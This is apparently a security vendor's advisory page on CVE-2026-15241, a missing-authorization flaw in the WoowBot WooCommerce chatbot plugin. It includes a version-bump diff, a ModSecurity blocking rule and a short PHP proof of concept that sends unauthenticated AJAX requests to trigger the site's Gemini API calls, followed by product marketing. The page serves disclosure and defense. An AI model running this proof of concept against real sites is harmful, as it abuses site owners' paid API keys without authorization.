     * @author    QuantumCloud
     * @category  WooCommerce
     * Author: ChatBot - WoowBot
@@ -19,7 +19,7 @@

    if (!defined('ABSPATH')) exit; // Exit if accessed directly

-   define('QCLD_WOOCHATBOT_VERSION', '4.8.3');
+   define('QCLD_WOOCHATBOT_VERSION', '4.8.4');
    define('QCLD_WOOCHATBOT_REQUIRED_WOOCOMMERCE_VERSION', 2.2);
    define('QCLD_WOOCHATBOT_PLUGIN_DIR_PATH', basename(plugin_dir_path(__FILE__)));
    define('QCLD_WOOCHATBOT_PLUGIN_DIR_FULL_PATH', plugin_dir_path(__FILE__));

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15241
# Blocks unauthenticated access to the qcld_gemini_response AJAX action.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202615241,phase:2,deny,status:403,chain,msg:'CVE-2026-15241 via WoowBot qcld_gemini_response AJAX action',severity:'CRITICAL',tag:'CVE-2026-15241'"
  SecRule ARGS_POST:action "@streq qcld_gemini_response" "chain"
  SecRule ARGS_POST:nonce "@noMatch" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15241 - AI ChatBot for WooCommerce – WoowBot < 4.8.4 - Missing Authorization to Unauthenticated AI API Key Abuse

$target_url = 'http://target.local'; // Change to the WordPress site URL

// Step 1: Build the unauthenticated AJAX request to trigger Gemini generation
$payload = [
    'action'  => 'qcld_gemini_response',
    'keyword' => 'Atomic Edge test prompt ' . bin2hex(random_bytes(4)),
];

// Step 2: Send the request without any nonce or authentication
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Report the result (a successful API call indicates the vulnerability)
echo "HTTP Status: $http_coden";
echo "Response: " . substr($response, 0, 500) . "n";

if ($http_code === 200 && stripos($response, 'error') === false) {
    echo "[+] Endpoint responded, likely triggered Gemini API call (quota billed).n";
} else {
    echo "[-] Request may have been blocked or failed. Check target.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.